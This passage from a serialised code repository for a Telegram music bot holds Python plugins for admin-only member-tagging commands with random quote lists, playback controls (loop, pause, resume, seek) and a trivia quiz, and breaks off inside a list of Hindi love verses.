ᴍᴇᴀɴs ᴛᴏ ʙᴇ, ᴛʜɪɴᴋ ᴀɴᴅ ʟɪᴠᴇ.**\",\n         \"**❅ ʙᴇ ᴡɪᴛʜ sᴏᴍᴇᴏɴᴇ ᴡʜᴏ ʙʀɪɴɢs ᴏᴜᴛ ᴛʜᴇ ʙᴇsᴛ ᴏғ ʏᴏᴜ.**\",\n         \"**❅ ʏᴏᴜʀ ᴛʜᴏᴜɢʜᴛs ᴀʀᴇ ʏᴏᴜʀ ʟɪғᴇ.**\",\n         \"**❅ ᴘᴇᴏᴘʟᴇ ᴄʜᴀɴɢᴇ, ᴍᴇᴍᴏʀɪᴇs ᴅᴏɴ’ᴛ.**\",\n         \"**❅ ᴏᴜʀ ʟɪғᴇ ɪs ᴡʜᴀᴛ ᴡᴇ ᴛʜɪɴᴋ ɪᴛ ɪs.**\",\n         \"**❅ ʟɪɢʜᴛ ʜᴇᴀʀᴛ ʟɪᴠᴇs ʟᴏɴɢᴇʀ.**\",\n         \"**❅ ᴅᴇᴘʀᴇssɪᴏɴ ᴇᴠᴇɴᴛᴜᴀʟʟʏ ʙᴇᴄᴏᴍᴇs ᴀ ʜᴀʙɪᴛ.**\",\n         \"**❅ ʟɪғᴇ ɪs ᴀ ɢɪғᴛ. ᴛʀᴇᴀᴛ ɪᴛ ᴡᴇʟʟ.**\",\n         \"**❅ ʟɪғᴇ ɪs ᴡʜᴀᴛ ᴏᴜʀ ғᴇᴇʟɪɴɢs ᴅᴏ ᴡɪᴛʜ ᴜs.**\",\n         \"**❅ ᴡʀɪɴᴋʟᴇs ᴀʀᴇ ᴛʜᴇ ʟɪɴᴇs ᴏғ ʟɪғᴇ ᴏɴ ᴛʜᴇ ғᴀᴄᴇ.**\",\n         \"**❅ ʟɪғᴇ ɪs ᴍᴀᴅᴇ ᴜᴘ ᴏғ sᴏʙs, sɴɪғғʟᴇs, ᴀɴᴅ sᴍɪʟᴇs.**\",\n         \"**❅ ɴᴏᴛ ʟɪғᴇ, ʙᴜᴛ ɢᴏᴏᴅ ʟɪғᴇ, ɪs ᴛᴏ ʙᴇ ᴄʜɪᴇғʟʏ ᴠᴀʟᴜᴇᴅ.**\",\n         \"**❅ ʏᴏᴜ ᴄʜᴀɴɢᴇ ʏᴏᴜʀ ʟɪғᴇ ʙʏ ᴄʜᴀɴɢɪɴɢ ʏᴏᴜʀ ʜᴇᴀʀᴛ.\",\n         \"**❅ ʟɪғᴇ ɪs ɴᴏᴛʜɪɴɢ ᴡɪᴛʜᴏᴜᴛ ᴛʀᴜᴇ ғʀɪᴇɴᴅsʜɪᴘ.**\",\n         \"**❅ ɪғ ʏᴏᴜ ᴀʀᴇ ʙʀᴀᴠᴇ ᴛᴏ sᴀʏ ɢᴏᴏᴅ ʙʏᴇ, ʟɪғᴇ ᴡɪʟʟ ʀᴇᴡᴀʀᴅ ʏᴏᴜ ᴡɪᴛʜ ᴀ ɴᴇᴡ ʜᴇʟʟᴏ.**\",\n         \"**❅ ᴛʜᴇʀᴇ ɪs ɴᴏᴛʜɪɴɢ ᴍᴏʀᴇ ᴇxᴄɪᴛɪɴɢ ɪɴ ᴛʜᴇ ᴡᴏʀʟᴅ, ʙᴜᴛ ᴘᴇᴏᴘʟᴇ.**\",\n         \"**❅ ʏᴏᴜ ᴄᴀɴ ᴅᴏ ᴀɴʏᴛʜɪɴɢ, ʙᴜᴛ ɴᴏᴛ ᴇᴠᴇʀʏᴛʜɪɴɢ.**\",\n         \"**❅ ʟɪғᴇ ʙᴇᴄᴏᴍᴇ ᴇᴀsʏ ᴡʜᴇɴ ʏᴏᴜ ʙᴇᴄᴏᴍᴇ sᴛʀᴏɴɢ.**\",\n         \"**❅ ᴍʏ ʟɪғᴇ ɪsɴ’ᴛ ᴘᴇʀғᴇᴄᴛ ʙᴜᴛ ɪᴛ ᴅᴏᴇs ʜᴀᴠᴇ ᴘᴇʀғᴇᴄᴛ ᴍᴏᴍᴇɴᴛs.**\",\n         \"**❅ ʟɪғᴇ ɪs ɢᴏᴅ’s ɴᴏᴠᴇʟ. ʟᴇᴛ ʜɪᴍ ᴡʀɪᴛᴇ ɪᴛ.**\",\n         \"**❅ ᴏᴜʀ ʟɪғᴇ ɪs ᴀ ʀᴇsᴜʟᴛ ᴏғ ᴏᴜʀ ᴅᴏᴍɪɴᴀɴᴛ ᴛʜᴏᴜɢʜᴛs.**\",\n         \"**❅ ʟɪғᴇ ɪs ᴀ ᴍᴏᴛɪᴏɴ ғʀᴏᴍ ᴀ ᴅᴇsɪʀᴇ ᴛᴏ ᴀɴᴏᴛʜᴇʀ ᴅᴇsɪʀᴇ.**\",\n         \"**❅ ᴛᴏ ʟɪᴠᴇ ᴍᴇᴀɴs ᴛᴏ ғɪɢʜᴛ.**\",\n         \"**❅ ʟɪғᴇ ɪs ʟɪᴋᴇ ᴀ ᴍᴏᴜɴᴛᴀɪɴ, ɴᴏᴛ ᴀ ʙᴇᴀᴄʜ.**\",\n         \"**❅ ᴛʜᴇ ᴡᴏʀsᴛ ᴛʜɪɴɢ ɪɴ ʟɪғᴇ ɪs ᴛʜᴀᴛ ɪᴛ ᴘᴀssᴇs.**\",\n         \"**❅ ʟɪғᴇ ɪs sɪᴍᴘʟᴇ ɪғ ᴡᴇ ᴀʀᴇ sɪᴍᴘʟᴇ.**\",\n         \"**❅ ᴀʟᴡᴀʏs ᴛʜɪɴᴋ ᴛᴡɪᴄᴇ, sᴘᴇᴀᴋ ᴏɴᴄᴇ.**\",\n         \"**❅ ʟɪғᴇ ɪs sɪᴍᴘʟᴇ, ᴡᴇ ᴍᴀᴋᴇ ɪᴛ ᴄᴏᴍᴘʟɪᴄᴀᴛᴇᴅ.**\",\n         \"**❅ ʟɪғᴇ ɪs ɴᴏᴛ ᴍᴜᴄʜ ᴏʟᴅᴇʀ ᴛʜᴀɴ ᴛʜᴇ ᴅᴇᴀᴛʜ.**\",\n         \"**❅ ᴛʜᴇ sᴇᴄʀᴇᴛ ᴏғ ʟɪғᴇ ɪs ʟᴏᴡ ᴇxᴘᴇᴄᴛᴀᴛɪᴏɴs!**\",\n         \"**❅ ʟɪғᴇ ɪs ᴀ ᴛᴇᴀᴄʜᴇʀ..,ᴛʜᴇ ᴍᴏʀᴇ ᴡᴇ ʟɪᴠᴇ, ᴛʜᴇ ᴍᴏʀᴇ ᴡᴇ ʟᴇᴀʀɴ.**\",\n         \"**❅ ʜᴜᴍᴀɴ ʟɪғᴇ ɪs ɴᴏᴛʜɪɴɢ ʙᴜᴛ ᴀɴ ᴇᴛᴇʀɴᴀʟ ɪʟʟᴜsɪᴏɴ.**\",\n         \"**❅ ᴛʜᴇ ʜᴀᴘᴘɪᴇʀ ᴛʜᴇ ᴛɪᴍᴇ, ᴛʜᴇ sʜᴏʀᴛᴇʀ ɪᴛ ɪs.**\",\n         \"**❅ ʟɪғᴇ ɪs ʙᴇᴀᴜᴛɪғᴜʟ ɪғ ʏᴏᴜ  ᴋɴᴏᴡ ᴡʜᴇʀᴇ ᴛᴏ ʟᴏᴏᴋ.**\",\n         \"**❅ ʟɪғᴇ ɪs ᴀᴡᴇsᴏᴍᴇ ᴡɪᴛʜ ʏᴏᴜ ʙʏ ᴍʏ sɪᴅᴇ.**\",\n         \"**❅ ʟɪғᴇ – ʟᴏᴠᴇ = ᴢᴇʀᴏ**\",\n         \"**❅ ʟɪғᴇ ɪs ғᴜʟʟ ᴏғ sᴛʀᴜɢɢʟᴇs.**\",\n         \"**❅ ɪ ɢᴏᴛ ʟᴇss ʙᴜᴛ ɪ ɢᴏᴛ ʙᴇsᴛ **\",\n         \"**❅ ʟɪғᴇ ɪs 10% ᴡʜᴀᴛ ʏᴏᴜ ᴍᴀᴋᴇ ɪᴛ, ᴀɴᴅ 90% ʜᴏᴡ ʏᴏᴜ ᴛᴀᴋᴇ ɪᴛ.**\",\n         \"**❅ ᴛʜᴇʀᴇ ɪs sᴛɪʟʟ sᴏ ᴍᴜᴄʜ ᴛᴏ sᴇᴇ**\",\n         \"**❅ ʟɪғᴇ ᴅᴏᴇsɴ’ᴛ ɢᴇᴛ ᴇᴀsɪᴇʀ ʏᴏᴜ ɢᴇᴛ sᴛʀᴏɴɢᴇʀ.**\",\n         \"**❅ ʟɪғᴇ ɪs ᴀʙᴏᴜᴛ ʟᴀᴜɢʜɪɴɢ & ʟɪᴠɪɴɢ.**\",\n         \"**❅ ᴇᴀᴄʜ ᴘᴇʀsᴏɴ ᴅɪᴇs ᴡʜᴇɴ ʜɪs ᴛɪᴍᴇ ᴄᴏᴍᴇs.**\",\n        ]\n\n\n@app.on_message(filters.command([\"hitag\" ], prefixes=[\"/\", \"@\", \"#\"]))\nasync def mentionall(client, message):\n    chat_id = message.chat.id\n    if message.chat.type == ChatType.PRIVATE:\n        return await message.reply(\"๏ ᴛʜɪs ᴄᴏᴍᴍᴀɴᴅ ᴏɴʟʏ ғᴏʀ ɢʀᴏᴜᴘs.\")\n\n    is_admin = False\n    try:\n        participant = await client.get_chat_member(chat_id, message.from_user.id)\n    except UserNotParticipant:\n        is_admin = False\n    else:\n        if participant.status in (\n            ChatMemberStatus.ADMINISTRATOR,\n            ChatMemberStatus.OWNER\n        ):\n            is_admin = True\n    if not is_admin:\n        return await message.reply(\"๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs. \")\n\n    if message.reply_to_message and message.text:\n        return await message.reply(\"/hitag ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ʙᴏᴛ ᴛᴀɢɢɪɴɢ...\")\n    elif message.text:\n        mode = \"text_on_cmd\"\n        msg = message.text\n    elif message.reply_to_message:\n        mode = \"text_on_reply\"\n        msg = message.reply_to_message\n        if not msg:\n            return await message.reply(\"/hitag ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ғᴏᴛ ᴛᴀɢɢɪɴɢ...\")\n    else:\n        return await message.reply(\"/hitag ɢᴏᴏᴅ ᴍᴏʀɴɪɴɢ ᴛʏᴘᴇ ʟɪᴋᴇ ᴛʜɪs / ʀᴇᴘʟʏ ᴀɴʏ ᴍᴇssᴀɢᴇ ɴᴇxᴛ ᴛɪᴍᴇ ʙᴏᴛ ᴛᴀɢɢɪɴɢ...\")\n    if chat_id in spam_chats:\n        return await message.reply(\"๏ ᴘʟᴇᴀsᴇ ᴀᴛ ғɪʀsᴛ sᴛᴏᴘ ʀᴜɴɴɪɴɢ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss...\")\n    spam_chats.append(chat_id)\n    usrnum = 0\n    usrtxt = \"\"\n    async for usr in client.get_chat_members(chat_id):\n        if not chat_id in spam_chats:\n            break\n        if usr.user.is_bot:\n            continue\n        usrnum += 1\n        usrtxt += \"<a href='tg://user?id={}'>{}</a>\".format(usr.user.id, usr.user.first_name)\n\n        if usrnum == 1:\n            if mode == \"text_on_cmd\":\n                txt = f\"{usrtxt} {random.choice(TAGMES)}\"\n                await client.send_message(chat_id, txt)\n            elif mode == \"text_on_reply\":\n                await msg.reply(f\"[{random.choice(EMOJI)}](tg://user?id={usr.user.id})\")\n            await asyncio.sleep(4)\n            usrnum = 0\n            usrtxt = \"\"\n    try:\n        spam_chats.remove(chat_id)\n    except:\n        pass\n\n\n@app.on_message(filters.command([\"lifetag\"], prefixes=[\"/\", \"@\", \"#\"]))\nasync def mention_allvc(client, message):\n    chat_id = message.chat.id\n    if message.chat.type == ChatType.PRIVATE:\n        return await message.reply(\"๏ ᴛʜɪs ᴄᴏᴍᴍᴀɴᴅ ᴏɴʟʏ ғᴏʀ ɢʀᴏᴜᴘs.\")\n\n    is_admin = False\n    try:\n        participant = await client.get_chat_member(chat_id, message.from_user.id)\n    except UserNotParticipant:\n        is_admin = False\n    else:\n        if participant.status in (\n            ChatMemberStatus.ADMINISTRATOR,\n            ChatMemberStatus.OWNER\n        ):\n            is_admin = True\n    if not is_admin:\n        return await message.reply(\"๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs. \")\n    if chat_id in spam_chats:\n        return await message.reply(\"๏ ᴘʟᴇᴀsᴇ ᴀᴛ ғɪʀsᴛ sᴛᴏᴘ ʀᴜɴɴɪɴɢ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss...\")\n    spam_chats.append(chat_id)\n    usrnum = 0\n    usrtxt = \"\"\n    async for usr in client.get_chat_members(chat_id):\n        if not chat_id in spam_chats:\n            break\n        if usr.user.is_bot:\n            continue\n        usrnum += 1\n        usrtxt += \"<a href='tg://user?id={}'>{}</a>\".format(usr.user.id, usr.user.first_name)\n\n        if usrnum == 1:\n            txt = f\"{usrtxt} {random.choice(VC_TAG)}\"\n            await client.send_message(chat_id, txt)\n            await asyncio.sleep(4)\n            usrnum = 0\n            usrtxt = \"\"\n    try:\n        spam_chats.remove(chat_id)\n    except:\n        pass\n\n\n\n@app.on_message(filters.command([\"cancel\", \"histop\", \"lifestop\"]))\nasync def cancel_spam(client, message):\n    if not message.chat.id in spam_chats:\n        return await message.reply(\"๏ ᴄᴜʀʀᴇɴᴛʟʏ ɪ'ᴍ ɴᴏᴛ ᴛᴀɢɢɪɴɢ ʙᴀʙʏ.\")\n    is_admin = False\n    try:\n        participant = await client.get_chat_member(message.chat.id, message.from_user.id)\n    except UserNotParticipant:\n        is_admin = False\n    else:\n        if participant.status in (\n            ChatMemberStatus.ADMINISTRATOR,\n            ChatMemberStatus.OWNER\n        ):\n            is_admin = True\n    if not is_admin:\n        return await message.reply(\"๏ ʏᴏᴜ ᴀʀᴇ ɴᴏᴛ ᴀᴅᴍɪɴ ʙᴀʙʏ, ᴏɴʟʏ ᴀᴅᴍɪɴs ᴄᴀɴ ᴛᴀɢ ᴍᴇᴍʙᴇʀs.\")\n    else:\n        try:\n            spam_chats.remove(message.chat.id)\n        except:\n            pass\n        return await message.reply(\"๏ ᴍᴇɴᴛɪᴏɴ ᴘʀᴏᴄᴇss sᴛᴏᴘᴘᴇᴅ ๏\")\n"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/loop.py",
    "content": "from pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.utils.database import get_loop, set_loop\nfrom BrandrdXMusic.utils.decorators import AdminRightsCheck\nfrom BrandrdXMusic.utils.inline import close_markup\nfrom config import BANNED_USERS\n\n\n@app.on_message(filters.command([\"loop\", \"cloop\"]) & filters.group & ~BANNED_USERS)\n@AdminRightsCheck\nasync def admins(cli, message: Message, _, chat_id):\n    usage = _[\"admin_17\"]\n    if len(message.command) != 2:\n        return await message.reply_text(usage)\n    state = message.text.split(None, 1)[1].strip()\n    if state.isnumeric():\n        state = int(state)\n        if 1 <= state <= 10:\n            got = await get_loop(chat_id)\n            if got != 0:\n                state = got + state\n            if int(state) > 10:\n                state = 10\n            await set_loop(chat_id, state)\n            return await message.reply_text(\n                text=_[\"admin_18\"].format(state, message.from_user.mention),\n                reply_markup=close_markup(_),\n            )\n        else:\n            return await message.reply_text(_[\"admin_17\"])\n    elif state.lower() == \"enable\":\n        await set_loop(chat_id, 10)\n        return await message.reply_text(\n            text=_[\"admin_18\"].format(state, message.from_user.mention),\n            reply_markup=close_markup(_),\n        )\n    elif state.lower() == \"disable\":\n        await set_loop(chat_id, 0)\n        return await message.reply_text(\n            _[\"admin_19\"].format(message.from_user.mention),\n            reply_markup=close_markup(_),\n        )\n    else:\n        return await message.reply_text(usage)\n"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/pause.py",
    "content": "from pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.core.call import Hotty\nfrom BrandrdXMusic.utils.database import is_music_playing, music_off\nfrom BrandrdXMusic.utils.decorators import AdminRightsCheck\nfrom BrandrdXMusic.utils.inline import close_markup\nfrom config import BANNED_USERS\n\n\n@app.on_message(filters.command([\"pause\", \"cpause\"]) & filters.group & ~BANNED_USERS)\n@AdminRightsCheck\nasync def pause_admin(cli, message: Message, _, chat_id):\n    if not await is_music_playing(chat_id):\n        return await message.reply_text(_[\"admin_1\"])\n    await music_off(chat_id)\n    await Hotty.pause_stream(chat_id)\n    await message.reply_text(\n        _[\"admin_2\"].format(message.from_user.mention), reply_markup=close_markup(_)\n    )\n"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/quiz.py",
    "content": "import random\nimport requests\nimport time\n\nfrom pyrogram import filters\nfrom pyrogram.enums import PollType, ChatAction\nfrom BrandrdXMusic import app\n\n\nlast_command_time = {}\n\n\n@app.on_message(filters.command([\"quiz\"]))\nasync def quiz(client, message):\n    user_id = message.from_user.id\n    current_time = time.time()\n\n    if user_id in last_command_time and current_time - last_command_time[user_id] < 5:\n        await message.reply_text(\n            \"Pʟᴇᴀsᴇ ᴡᴀɪᴛ 𝟻 sᴇᴄᴏɴᴅs ʙᴇғᴏʀᴇ ᴜsɪɴɢ ᴛʜɪs ᴄᴏᴍᴍᴀɴᴅ ᴀɢᴀɪɴ.\"\n        )\n        return\n\n    last_command_time[user_id] = current_time\n\n    categories = [9, 17, 18, 20, 21, 27]\n    await app.send_chat_action(message.chat.id, ChatAction.TYPING)\n\n    url = f\"https://opentdb.com/api.php?amount=1&category={random.choice(categories)}&type=multiple\"\n    response = requests.get(url).json()\n\n    question_data = response[\"results\"][0]\n    question = question_data[\"question\"]\n    correct_answer = question_data[\"correct_answer\"]\n    incorrect_answers = question_data[\"incorrect_answers\"]\n\n    all_answers = incorrect_answers + [correct_answer]\n    random.shuffle(all_answers)\n\n    cid = all_answers.index(correct_answer)\n    await app.send_poll(\n        chat_id=message.chat.id,\n        question=question,\n        options=all_answers,\n        is_anonymous=False,\n        type=PollType.QUIZ,\n        correct_option_id=cid,\n    )\n"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/resume.py",
    "content": "from pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.core.call import Hotty\nfrom BrandrdXMusic.utils.database import is_music_playing, music_on\nfrom BrandrdXMusic.utils.decorators import AdminRightsCheck\nfrom BrandrdXMusic.utils.inline import close_markup\nfrom config import BANNED_USERS\n\n\n@app.on_message(filters.command([\"resume\", \"cresume\"]) & filters.group & ~BANNED_USERS)\n@AdminRightsCheck\nasync def resume_com(cli, message: Message, _, chat_id):\n    if await is_music_playing(chat_id):\n        return await message.reply_text(_[\"admin_3\"])\n    await music_on(chat_id)\n    await Hotty.resume_stream(chat_id)\n    await message.reply_text(\n        _[\"admin_4\"].format(message.from_user.mention), reply_markup=close_markup(_)\n    )\n"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/seek.py",
    "content": "from pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import YouTube, app\nfrom BrandrdXMusic.core.call import Hotty\nfrom BrandrdXMusic.misc import db\nfrom BrandrdXMusic.utils import AdminRightsCheck, seconds_to_min\nfrom BrandrdXMusic.utils.inline import close_markup\nfrom config import BANNED_USERS\n\n\n@app.on_message(\n    filters.command([\"seek\", \"cseek\", \"seekback\", \"cseekback\"])\n    & filters.group\n    & ~BANNED_USERS\n)\n@AdminRightsCheck\nasync def seek_comm(cli, message: Message, _, chat_id):\n    if len(message.command) == 1:\n        return await message.reply_text(_[\"admin_20\"])\n    query = message.text.split(None, 1)[1].strip()\n    if not query.isnumeric():\n        return await message.reply_text(_[\"admin_21\"])\n    playing = db.get(chat_id)\n    if not playing:\n        return await message.reply_text(_[\"queue_2\"])\n    duration_seconds = int(playing[0][\"seconds\"])\n    if duration_seconds == 0:\n        return await message.reply_text(_[\"admin_22\"])\n    file_path = playing[0][\"file\"]\n    duration_played = int(playing[0][\"played\"])\n    duration_to_skip = int(query)\n    duration = playing[0][\"dur\"]\n    if message.command[0][-2] == \"c\":\n        if (duration_played - duration_to_skip) <= 10:\n            return await message.reply_text(\n                text=_[\"admin_23\"].format(seconds_to_min(duration_played), duration),\n                reply_markup=close_markup(_),\n            )\n        to_seek = duration_played - duration_to_skip + 1\n    else:\n        if (duration_seconds - (duration_played + duration_to_skip)) <= 10:\n            return await message.reply_text(\n                text=_[\"admin_23\"].format(seconds_to_min(duration_played), duration),\n                reply_markup=close_markup(_),\n            )\n        to_seek = duration_played + duration_to_skip + 1\n    mystic = await message.reply_text(_[\"admin_24\"])\n    if \"vid_\" in file_path:\n        n, file_path = await YouTube.video(playing[0][\"vidid\"], True)\n        if n == 0:\n            return await message.reply_text(_[\"admin_22\"])\n    check = (playing[0]).get(\"speed_path\")\n    if check:\n        file_path = check\n    if \"index_\" in file_path:\n        file_path = playing[0][\"vidid\"]\n    try:\n        await Hotty.seek_stream(\n            chat_id,\n            file_path,\n            seconds_to_min(to_seek),\n            duration,\n            playing[0][\"streamtype\"],\n        )\n    except:\n        return await mystic.edit_text(_[\"admin_26\"], reply_markup=close_markup(_))\n    if message.command[0][-2] == \"c\":\n        db[chat_id][0][\"played\"] -= duration_to_skip\n    else:\n        db[chat_id][0][\"played\"] += duration_to_skip\n    await mystic.edit_text(\n        text=_[\"admin_25\"].format(seconds_to_min(to_seek), message.from_user.mention),\n        reply_markup=close_markup(_),\n    )\n"
  },
  {
    "path": "BrandrdXMusic/plugins/admins/shayari.py",
    "content": "from BrandrdXMusic import app \nimport asyncio\nimport random\nfrom pyrogram import Client, filters\nfrom pyrogram.enums import ChatType, ChatMemberStatus\nfrom pyrogram.errors import UserNotParticipant\nfrom pyrogram.types import ChatPermissions\n\nspam_chats = []\n\nEMOJI = [ \"🦋🦋🦋🦋🦋\",\n          \"🧚🌸🧋🍬🫖\",\n          \"🥀🌷🌹🌺💐\",\n          \"🌸🌿💮🌱🌵\",\n          \"❤️💚💙💜🖤\",\n          \"💓💕💞💗💖\",\n          \"🌸💐🌺🌹🦋\",\n          \"🍔🦪🍛🍲🥗\",\n          \"🍎🍓🍒🍑🌶️\",\n          \"🧋🥤🧋🥛🍷\",\n          \"🍬🍭🧁🎂🍡\",\n          \"🍨🧉🍺☕🍻\",\n          \"🥪🥧🍦🍥🍚\",\n          \"🫖☕🍹🍷🥛\",\n          \"☕🧃🍩🍦🍙\",\n          \"🍁🌾💮🍂🌿\",\n          \"🌨️🌥️⛈️🌩️🌧️\",\n          \"🌷🏵️🌸🌺💐\",\n          \"💮🌼🌻🍀🍁\",\n          \"🧟🦸🦹🧙👸\",\n          \"🧅🍠🥕🌽🥦\",\n          \"🐷🐹🐭🐨🐻‍❄️\",\n          \"🦋🐇🐀🐈🐈‍⬛\",\n          \"🌼🌳🌲🌴🌵\",\n          \"🥩🍋🍐🍈🍇\",\n          \"🍴🍽️🔪🍶🥃\",\n          \"🕌🏰🏩⛩️🏩\",\n          \"🎉🎊🎈🎂🎀\",\n          \"🪴🌵🌴🌳🌲\",\n          \"🎄🎋🎍🎑🎎\",\n          \"🦅🦜🕊️🦤🦢\",\n          \"🦤🦩🦚🦃🦆\",\n          \"🐬🦭🦈🐋🐳\",\n          \"🐔🐟🐠🐡🦐\",\n          \"🦩🦀🦑🐙🦪\",\n          \"🐦🦂🕷️🕸️🐚\",\n          \"🥪🍰🥧🍨🍨\",\n          \" 🥬🍉🧁🧇\",\n        ]\n        ####\n        \nSHAYRI = [ \" 🌺**बहुत अच्छा लगता है तुझे सताना और फिर प्यार से तुझे मनाना।**🌺 \\n\\n**🥀Bahut aacha lagta hai tujhe satana Aur fir pyar se tujhe manana.🥀** \",\n           \" 🌺**मेरी जिंदगी मेरी जान हो तुम मेरे सुकून का दुसरा नाम हो तुम।**🌺 \\n\\n**🥀Meri zindagi Meri jaan ho tum Mere sukoon ka Dusra naam ho tum.🥀** \",\n           \" 🌺**तुम मेरी वो खुशी हो जिसके बिना, मेरी सारी खुशी अधूरी लगती है।**🌺 \\n\\n**🥀**Tum Meri Wo Khushi Ho Jiske Bina, Meri Saari Khushi Adhuri Lagti Ha.🥀** \",\n           \" 🌺**काश वो दिन जल्दी आए,जब तू मेरे साथ सात फेरो में बन्ध जाए।**🌺 \\n\\n**🥀Kash woh din jldi aaye Jb tu mere sath 7 feron me bndh jaye.🥀** \",\n           \" 🌺**अपना हाथ मेरे दिल पर रख दो और अपना दिल मेरे नाम कर दो।**🌺 \\n\\n**🥀apna hath mere dil pr rakh do aur apna dil mere naam kar do.🥀** \",\n           \" 🌺**महादेव ना कोई गाड़ी ना कोई बंगला चाहिए सलामत रहे मेरा प्यार बस यही दुआ चाहिए।**🌺 \\n\\n**🥀Mahadev na koi gadi na koi bangla chahiye salamat rhe mera pyar bas yahi dua chahiye.🥀** \",\n           \" 🌺**फिक्र तो होगी ना तुम्हारी इकलौती मोहब्बत हो तुम मेरी।**🌺 \\n\\n**🥀Fikr to hogi na tumhari ikloti mohabbat ho tum meri.🥀** \",\n           \" 🌺**सुनो जानू आप सिर्फ किचन संभाल लेना आप को संभालने के लिए मैं हूं ना।**🌺 \\n\\n**🥀suno jaanu aap sirf kitchen sambhal lena ap ko sambhlne ke liye me hun naa.🥀** \",\n           \" 🌺**सौ बात की एक बात मुझे चाहिए बस तेरा साथ।**🌺 \\n\\n**🥀So bat ki ek bat mujhe chahiye bas tera sath.🥀** \",\n           \" 🌺**बहुत मुश्किलों से पाया हैं तुम्हें, अब खोना नहीं चाहते,कि तुम्हारे थे तुम्हारे हैं अब किसी और के होना नहीं चाहते।**🌺 \\n\\n**🥀Bahut muskilon se paya hai tumhe Ab khona ni chahte ki tumhare they tumhare hai ab kisi or k hona nhi chahte.🥀** \",\n           \" 🌺**बेबी बातें तो रोज करते है चलो आज रोमांस करते है।**🌺 \\n\\n**🥀Baby baten to roj karte haichalo aaj romance karte hai..🥀** \",\n           \" 🌺**सुबह शाम तुझे याद करते है हम और क्या बताएं की तुमसे कितना प्यार करते है हम।**🌺 \\n\\n**🥀subha sham tujhe yad karte hai hum aur kya batayen ki tumse kitna pyar karte hai hum.🥀** \",\n           \" 🌺**किसी से दिल लग जाने को मोहब्बत नहीं कहते जिसके बिना दिल न लगे उसे मोहब्बत कहते हैं।**🌺 \\n\\n**🥀Kisi se dil lag jane ko mohabbat nahi kehte jiske nina dil na lage use mohabbat kehte hai.🥀** \",\n           \" 🌺**मेरे दिल के लॉक की चाबी हो तुम क्या बताएं जान मेरे जीने की एकलौती वजह हो तुम।**🌺 \\n\\n**🥀mere dil ke lock ki chabi ho tum kya batayen jaan mere jeene ki eklauti wajah ho tum..🥀** \",\n           \" 🌺**हम आपकी हर चीज़ से प्यार कर लेंगे, आपकी हर बात पर ऐतबार कर लेंगे, बस एक बार कह दो कि तुम सिर्फ मेरे हो, हम ज़िन्दगी भर आपका इंतज़ार कर लेंगे।**🌺 \\n\\n**🥀Hum apki har cheez se pyar kar lenge apki har baat par etvar kar lenge bas ek bar keh do ki tum sirf mere ho hum zindagi bhar apka intzaar kar lenge..🥀** \",\n           \" 🌺**मोहब्बत कभी स्पेशल लोगो से नहीं होती जिससे होती है वही स्पेशल बन जाता है।**🌺 \\n\\n**🥀Mohabbat kabhi special logo se nahi hoti jisse bhi hoti hai wahi special ban jate hai,.🥀**\",\n           \" 🌺**तू मेरी जान है इसमें कोई शक नहीं तेरे अलावा मुझ पर किसी और का हक़ नहीं।**🌺 \\n\\n**🥀Tu meri jaan hai isme koi shak nahi tere alawa mujhe par kisi aur ka hak nhi..🥀** \",\n           \" 🌺**पहली मोहब्बत मेरी हम जान न सके, प्यार क्या होता है हम पहचान न सके, हमने उन्हें दिल में बसा लिया इस कदर कि, जब चाहा उन्हें दिल से निकाल न सके।**🌺 \\n\\n**🥀Pehli mohabbat meri hum jaan na sake pyar kya hota hai hum pehchan na sake humne unhe dil me basa liya is kadar ki jab chaha unhe dil se nikal na sake.🥀** \",\n           \" 🌺**खुद नहीं जानती वो कितनी प्यारी हैं , जान है हमारी पर जान से प्यारी हैं, दूरियों के होने से कोई फर्क नहीं पड़ता वो कल भी हमारी थी और आज भी हमारी है.**🌺 \\n\\n**🥀khud nahi janti vo kitni pyari hai jan hai hamari par jan se jyda payari hai duriya ke hone se frak nahi pdta vo kal bhe hamari the or aaj bhe hamari hai.🥀** \",\n           \" 🌺**चुपके से आकर इस दिल में उतर जाते हो, सांसों में मेरी खुशबु बनके बिखर जाते हो, कुछ यूँ चला है तेरे इश्क का जादू, सोते-जागते तुम ही तुम नज़र आते हो।**🌺 \\n\\n**🥀Chupke Se Aakar Iss Dil Mein Utar Jate Ho, Saanso Mein Meri Khushbu BanKe Bikhar Jate Ho,Kuchh Yun Chala Hai Tere Ishq Ka Jadoo, Sote-Jagte Tum Hi Tum Najar Aate Ho..🥀** \",\n           \" 🌺**प्यार करना सिखा है नफरतो का कोई ठौर नही, बस तु ही तु है इस दिल मे दूसरा कोई और नही.**🌺 \\n\\n**🥀Pyar karna sikha hai naftaro ka koi thor nahi bas tu hi tu hai is dil me dusra koi aur nahi hai.🥀** \",\n           \" 🌺**रब से आपकी खुशीयां मांगते है, दुआओं में आपकी हंसी मांगते है, सोचते है आपसे क्या मांगे,चलो आपसे 